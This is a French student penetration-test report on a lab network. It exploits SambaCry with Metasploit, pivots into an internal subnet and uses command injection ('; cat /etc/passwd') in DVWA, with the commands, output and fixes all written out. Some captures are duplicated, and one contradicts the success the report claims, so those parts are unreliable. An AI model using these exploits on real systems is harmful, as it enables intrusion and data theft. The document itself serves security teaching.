Voici le rapport de test d'intrusion formaté et organisé :Rapport de Test d'Intrusion : SAE 34

Client : Ludovic Laborde

Systèmes audités : Serveur de fichiers (Samba) et Serveur d'application Web

Période de test : Du 20 novembre 2025 au 15 janvier 2026

Statut : Version Finale

1. Résumé à l'attention de la direction et Objectif et périmètre de la mission

Dans le cadre de mon apprentissage en sécurité informatique. J'ai réalisé un test d'intrusion contrôlé sur une infrastructure interne fournie par l'enseignant. L'objectif principal était d'appliquer la méthodologie PTES (Penetration Testing Execution Standard).

L'objectif de cette mission était d'évaluer la résistance de l'infrastructure informatique de M. Ludovic Laborde face à une cyberattaque réelle. Nous avons testé la sécurité du serveur de partage de fichiers (Samba), exposé sur le réseau principal. Nous avons également cherché à savoir si un attaquant pouvait s'en servir comme pivot pour atteindre des services internes, notamment un serveur Web de gestion supposé être protégé car non accessible depuis Internet.

Synthèse des résultats :
L'audit a mis en évidence une chaîne de compromission complète. Une vulnérabilité critique sur le point d'entrée (Samba) a permis une prise de contrôle totale du serveur frontal. L'absence de filtrage entre les interfaces réseau a ensuite facilité le pivotement vers le réseau interne, aboutissant à une compromission totale du serveur d'application Web.

Faits marquants

- **Exploitation de vulnérabilité RCE :** Une faille de type exécution de code à distance (RCE) sur le service Samba a permis l'obtention de privilèges administratifs sans authentification préalable
- **Pivotement réseau réussi :** L'utilisation du serveur compromis comme passerelle a permis de contourner l'isolement du réseau interne.
- **Exfiltration de données critiques :** L'exploitation d'une faille applicative sur le serveur interne a permis l'exfiltration de la base des utilisateurs (`/etc/passwd`), compromettant la confidentialité du système.

Score de risque global : 🔴 9.8/10 (Critique)

Le score est maximal car l'attaque a permis d'accéder aux données les plus sensibles de l'infrastructure. Un attaquant réel pourrait paralyser l'activité ou voler des fichiers confidentiels.

Recommandations stratégiques

1. **Remédiation immédiate :** Application des patchs de sécurité sur le service Samba (CVE-2017-7494).
2. **Durcissement réseau :** Mise en œuvre d'une segmentation réseau stricte (Pare-feu) pour bloquer tout flux non autorisé entre le frontal et l'interne.
3. **Sécurisation applicative :** Implémentation d'un filtrage rigoureux des entrées utilisateurs (Sanitization) sur l'ensemble des formulaires web.

2. Méthodologie et Périmètre Technique

Ce test d'intrusion a été réalisé dans un cadre pédagogique sous l'autorisation et la supervision du M.LABORDE Ludovic. Les activités d'audit ont débuté le 17 novembre 2025 à 15h30 et se sont poursuivies jusqu'au 14 janvier 2026.

2.2 Méthodologie d'Audit

Nous avons suivi une méthodologie standardisée en quatre phases :

1. **Reconnaissance :** Identification des services ouverts.
2. **Exploitation :** Utilisation d'une vulnérabilité pour obtenir un premier accès.
3. **Post-Exploitation et Pivotement :** Exploration du réseau interne depuis la machine compromise.
4. **Exfiltration :** Récupération d'informations sensibles sur la cible finale.

2.2 Périmètre Technique (Scope)

Actif	Adresse IP	Rôle
Serveur Samba	172.20.0.4	Serveur de fichiers (Point d'entrée)
Réseau Interne	172.21.0.0/24	Segment réseau isolé
Serveur Web	172.21.0.2	Application de gestion (Cible finale)

3. Déroulement technique de l'audit (Récit de l'intrusion)

3.1 Phase de Reconnaissance : L'identification de la cible

Tout a commencé par une analyse de mon environnement. Après avoir vérifié mon interface réseau (`ip a`, j'ai lancé un scan **Nmap** sur le réseau 172.20.0.0/16.

- **Observation :** Le scan a révélé une machine active à l'adresse **172.20.0.4** avec le port **445 (Samba)** ouvert.

```
┌──(root㉿b88ea65600df)-[/]
└─# nmap -p 445 --open 172.20.0.0/16
Starting Nmap 7.92 ( https://nmap.org ) at 2026-01-10 12:35 UTC
Nmap scan report for samba.auditssecu_pentestnetwork (172.20.0.4)
Host is up (0.000056s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 02:42:AC:14:00:04 (Unknown)
```

3.2 Phase d'Exploitation : L'accès initial (Samba)

Le service Samba était vulnérable à la faille **"SambaCry"** (CVE-2017-7494).

- **Exploitation :** Via Metasploit, j'ai configuré l'exploit **`is_known_pipename`.**
- **Résultat :** L'outil a forcé le serveur à charger une bibliothèque malveillante, m'octroyant un accès administrateur (**root**) immédiat. J'ai ensuite "upgradé" ma session en **Meterpreter** pour plus de puissance.

```
┌──(root㉿b88ea65600df)-[/]
└─# msfconsole -q
msf6 > use exploit/linux/samba/is_known_pipename
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 172.20.0.4
RHOSTS => 172.20.0.4
msf6 exploit(linux/samba/is_known_pipename) > run
```

```
┌──(root㉿b88ea65600df)-[/]
└─# msfconsole -q
msf6 > use exploit/linux/samba/is_known_pipename
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 172.20.0.4
RHOSTS => 172.20.0.4
msf6 exploit(linux/samba/is_known_pipename) > run

[*] 172.20.0.4:445 - Using location \\172.20.0.4\myshare\ for the path
[*] 172.20.0.4:445 - Retrieving the remote path of the share 'myshare'
[*] 172.20.0.4:445 - Share 'myshare' has server-side path '/home/share
[*] 172.20.0.4:445 - Uploaded payload to \\172.20.0.4\myshare\XNWSrMAb.so
[*] 172.20.0.4:445 - Loading the payload from server-side path /home/share/XNWSrMAb.so using \\PIPE\/home/share/XNWSrMAb.so...
[-] 172.20.0.4:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 172.20.0.4:445 - Loading the payload from server-side path /home/share/XNWSrMAb.so using /home/share/XNWSrMAb.so...
[+] 172.20.0.4:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (172.20.0.2:37951 -> 172.20.0.4:445) at 2026-01-10 16:01:54 +0000
```

3.3 Phase de Pivotement : Découverte du réseau caché

En inspectant la configuration réseau de la machine compromise (**`ipconfig`**), j'ai découvert une interface **eth1** sur le réseau **172.21.0.3**.

- **Le Pivot :** Pour atteindre ce réseau invisible depuis ma machine Kali, j'ai utilisé la commande **`autoroute`**. Cela a ajouté le réseau 172.21.0.0 à mes routes actives.
- **Scan Interne :** J'ai détecté une nouvelle cible sur l'IP **172.21.0.2** avec un serveur Web (Port 80) ouvert.

```
msf6 exploit(linux/samba/is_known_pipename) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.21.0.0/24
RHOSTS => 172.21.0.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
PORTS => 80
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 172.21.0.2:           - 172.21.0.2:80 - TCP OPEN
[*] 172.21.0.0/24:        - Scanned  26 of 256 hosts (10% complete)
[*] 172.21.0.0/24:        - Scanned  52 of 256 hosts (20% complete)
[*] 172.21.0.0/24:        - Scanned  77 of 256 hosts (30% complete)
[*] 172.21.0.0/24:        - Scanned 103 of 256 hosts (40% complete)
[*] 172.21.0.0/24:        - Scanned 128 of 256 hosts (50% complete)
[*] 172.21.0.0/24:        - Scanned 154 of 256 hosts (60% complete)
[*] 172.21.0.0/24:        - Scanned 180 of 256 hosts (70% complete)
[*] 172.21.0.0/24:        - Scanned 205 of 256 hosts (80% complete)
[*] 172.21.0.0/24:        - Scanned 231 of 256 hosts (90% complete)
[*] 172.21.0.0/24:        - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

3.4 Difficultés rencontrées et Tunneling

Voulant accéder visuellement au site, j'ai créé un tunnel de redirection de port (**`portfwd`**) sur le port local **5555**.

```
:url -v http://172.21.0.2
* Rebuilt URL to: http://172.21.0.2/
*   Trying 172.21.0.2...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 172.21.0.2 (172.21.0.2) port 80 (#0)
> GET / HTTP/1.1
> Host: 172.21.0.2
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Sat, 10 Jan 2026 18:16:50 GMT
< Server: Apache/2.4.25 (Debian)
< Set-Cookie: PHPSESSID=b2ojq52ia6ieihfakevc7kvgq1; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: PHPSESSID=b2ojq52ia6ieihfakevc7kvgq1; path=/
< Set-Cookie: security=low
< Location: login.php
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
* Connection #0 to host 172.21.0.2 left intact
```

3.5 Phase d'Attaque Web : Automatisation et Contournement des protections CSRF

Une fois le pivot réseau établi vers le réseau interne, j'ai tenté d'accéder directement à la page vulnérable de l'application Web cible (**`172.21.0.2`**). Cependant, nous nous sommes immédiatement heurté à une barrière de sécurité : le serveur refusait l'accès direct aux pages internes et me dirigeait systématiquement vers une page d'authentification (**`login.php`**). La capture ci-dessous montre la réponse HTTP 302 (Found) indiquant cette redirection forcée.

```
:url -v http://172.21.0.2
* Rebuilt URL to: http://172.21.0.2/
*   Trying 172.21.0.2...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 172.21.0.2 (172.21.0.2) port 80 (#0)
> GET / HTTP/1.1
> Host: 172.21.0.2
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Sat, 10 Jan 2026 18:16:50 GMT
< Server: Apache/2.4.25 (Debian)
< Set-Cookie: PHPSESSID=b2ojq52ia6ieihfakevc7kvgq1; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: PHPSESSID=b2ojq52ia6ieihfakevc7kvgq1; path=/
< Set-Cookie: security=low
< Location: login.php
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
* Connection #0 to host 172.21.0.2 left intact
```

L'analyse de l'obstacle : Le jeton de sécurité caché

Pour comprendre pourquoi une simple tentative de connexion ne suffisait pas, j'ai inspecté le code source HTML de la page de connexion. Cette analyse manuelle a révélé un mécanisme de défense invisible à l'écran : un champ de formulaire caché nommé **`user_token`.**

```
        <div id="header">
        <br />
        <p><img src="dvwa/images/login_logo.png" /></p>
        <br />
        </div> <!--<div id="header">-->
        <div id="content">
        <form action="login.php" method="post">
        <fieldset>
                        <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />

                        <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="pass
word"><br />
                        <br />
                        <p class="submit"><input type="submit" value="Login" name="Login"></p>
        </fieldset>
        <input type='hidden' name='user_token' value='344ef5224bc3b9579434b0b4f8345d4a' />
        </form>
```

Il s'agissait d'une protection contre les failles CSRF (Cross-Site Request Forgery). Ce jeton changeant à chaque rafraîchissement de la page, toute tentative d'attaque manuelle ou de rejeu simple était vouée à l'échec. Le serveur exigeait que nous fournissons le bon mot de passe ET le jeton unique généré à l'instant T.

La solution : L'automatisation de l'attaque par script

En tant qu'amateur, j'ai initialement mené des recherches manuelles, puis approfondi ma compréhension du mécanisme à l'aide de l'intelligence artificielle. J'ai alors réalisé la nécessité d'adopter une approche automatisée pour simuler un comportement utilisateur légitime. C'est pourquoi j'ai élaboré une séquence d'attaque scriptée. Cette attaque a été exécutée directement depuis le terminal du serveur pivot (Samba) en utilisant l'outil `curl`.

Le script réalise les trois actions suivantes en chaîne :

1. **Extraction du jeton :** Il interroge la page pour obtenir un jeton frais.
2. **Authentification et maintien de session :** Il envoie les identifiants par défaut (**`admin/password`**) avec le jeton. L'utilisation cruciale des "cookies" (**`-c /tmp/cookie`**) permet de stocker la preuve de connexion réussie.
3. **Exploitation :** Muni de ce cookie de session, il accède enfin à la page vulnérable

pour injecter la commande `; cat /etc/passwd`.

La capture suivante montre l'exécution de ce bloc de commandes dans mon terminal.

```
curl -d "username=admin&password=password&Login=Login" -c /tmp/cookie http://172.21.0.2/login.php
curl -b /tmp/cookie -d "ip=127.0.0.1; cat /etc/passwd&Submit=Submit" http://172.21.0.2/vulnerabilities/exec/
```

Options principales de `curl` :

- **`-v` (Verbose) :** Affiche les en-têtes HTTP, permettant d'identifier la redirection **302 Found** vers la page de login.
- **`-d` (Data) :** Envoie les données en méthode **POST** (identifiants et charge utile d'injection).
- **`-s` (Silent) :** Supprime les informations de progression pour une lecture claire du résultat HTML.

Gestion de la session (Cookies) :

- **`-c /tmp/cookie` :** Enregistre le cookie de session envoyé par le serveur (création du "badge" d'accès).
- **`-b /tmp/cookie` :** Réutilise ce cookie pour prouver l'authentification lors des requêtes suivantes.

Extraction dynamique du jeton : Pour isoler le **`user_token`** indispensable à la connexion, nous avons combiné deux outils via un "pipe" **`(|)`** :

- **`grep` :** Filtre le code HTML pour cibler la ligne contenant le jeton.
- **`awk` :** Découpe la ligne pour extraire précisément la valeur du jeton entre les guillemets.

Résultat et Preuve de Concept

Le succès de cette automatisation a été immédiat. Le script a réussi à contourner la protection CSRF, s'est authentifié, et a retourné le code HTML de la page contenant le résultat de la commande injectée.

Comme le prouve la capture finale ci-dessous, nous avons réussi à exfiltrer le contenu du fichier `/etc/passwd`, révélant la liste des utilisateurs du système cible.

```
< HTTP/1.1 200 OK
< Date: Sat, 10 Jan 2026 18:38:50 GMT
< Server: Apache/2.4.25 (Debian)
< Expires: Tue, 23 Jun 2009 12:00:00 GMT
< Cache-Control: no-cache, must-revalidate
< Pragma: no-cache
* Replaced cookie PHPSESSID="pma47qh50qcerq30euahpv6td1" for domain 172.21.0.2, path /, expire 0
< Set-Cookie: PHPSESSID=pma47qh50qcerq30euahpv6td1; path=/
* Added cookie security="low" for domain 172.21.0.2, path /, expire 0
< Set-Cookie: security=low
< Vary: Accept-Encoding
< Content-Length: 1523
< Content-Type: text/html;charset=utf-8
<
{ [1523 bytes data]
100  1523  100  1523    0     0   9196      0 --:--:-- --:--:-- --:--:--  9196
* Connection #0 to host 172.21.0.2 left intact

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>

                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

                <title>Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

                <link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

        </head>

        <body>
```

Cette phase a été particulièrement instructive sur la nécessité de comprendre les mécanismes de session HTTP et de savoir scripter des interactions complexes pour contourner les protections dynamiques modernes.

3.6 Phase d'Exfiltration finale : Extraction des données sensibles

Après avoir automatisé l'authentification et le contournement des jetons de sécurité, j'ai enfin pu atteindre l'objectif ultime de ma mission : exploiter la vulnérabilité d'**Injection de Commande** sur le serveur Web interne.

L'exécution de la charge utile

Muni de mon badge d'accès (le cookie de session), j'ai soumis une requête finale ciblant l'outil de diagnostic réseau de l'application. J'ai injecté la commande suivante : `; cat /etc/passwd`.

L'utilisation du point-virgule (`;`) est ici stratégique : elle permet de terminer brusquement la commande légitime prévue par le développeur pour forcer le système à exécuter ma propre instruction de lecture de fichier.

Validation du succès : Le code 200 OK

Contrairement à mes tentatives précédentes qui se soldaient par des redirections, le serveur a cette fois-ci répondu par un code de statut **HTTP/1.1 200 OK**. Ce code est la confirmation technique que la requête a été acceptée, traitée avec succès et que le serveur nous transmet les données demandées.

```
< HTTP/1.1 200 OK
< Date: Sat, 10 Jan 2026 18:38:50 GMT
< Server: Apache/2.4.25 (Debian)
< Expires: Tue, 23 Jun 2009 12:00:00 GMT
< Cache-Control: no-cache, must-revalidate
< Pragma: no-cache
* Replaced cookie PHPSESSID="pma47qh50qcerq30euahpv6td1" for domain 172.21.0.2, path /, expire 0
< Set-Cookie: PHPSESSID=pma47qh50qcerq30euahpv6td1; path=/
* Added cookie security="low" for domain 172.21.0.2, path /, expire 0
< Set-Cookie: security=low
< Vary: Accept-Encoding
< Content-Length: 1523
< Content-Type: text/html;charset=utf-8
<
{ [1523 bytes data]
100  1523  100  1523    0     0   9196      0 --:--:-- --:--:-- --:--:--  9196
* Connection #0 to host 172.21.0.2 left intact

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>

                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

                <title>Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

                <link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

        </head>

        <body>
```

Preuve de Concept : Accès aux secrets du système

Le résultat affiché dans mon terminal a été sans équivoque. Le serveur a renvoyé l'intégralité du fichier **`/etc/passwd`**, me livrant ainsi la liste complète des utilisateurs du système interne, leurs identifiants numériques et leurs répertoires de travail.

```
                <pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
```

3.7 Escalade de Privilèges et Contrôle Total

Analyse de l'identité système

Afin de répondre à l'exigence d'un "contrôle total" de la machine, j'ai vérifié les privilèges de l'utilisateur exécutant le serveur Web interne via la commande **`id`**.

```
l27.0.0.1; id
'bin/sh: 6: 127.0.0.1: not found
uid=0(root) gid=0(root) groups=0(root)
```

Constat critique : Un serveur Web tournant en "root"

Le résultat est sans appel : **`uid=0(root)`**.

Normalement, un serveur Web doit fonctionner avec un utilisateur aux droits très limités (comme `www-data`). Ici, une erreur de configuration majeure a été identifiée : l'application DVWA a été lancée avec les privilèges du super-utilisateur.

Impact : Cela signifie qu'aucune "escalade de privilèges" complexe n'a été nécessaire. Dès l'instant où j'ai réussi mon injection de commande, j'ai obtenu immédiatement le contrôle absolu sur l'ensemble du système d'exploitation, les fichiers et les processus.

4. Recommandations et Conclusion

Recommandations de sécurité

1. **Principe du moindre privilège :** Il est impératif de configurer le serveur Web pour qu'il ne fonctionne **plus jamais en tant que root**. Il doit utiliser un compte limité (ex: `www-data`).
2. **Mises à jour :** Le service Samba doit être mis à jour vers une version corrigée pour fermer la porte d'entrée initiale.
3. **Sécurisation du code :** L'application Web doit filtrer les caractères spéciaux (comme le `;`) pour empêcher l'exécution de commandes système.
4. **Segmentation réseau :** Installer un pare-feu entre le réseau frontal et le réseau interne pour limiter les capacités de pivotement.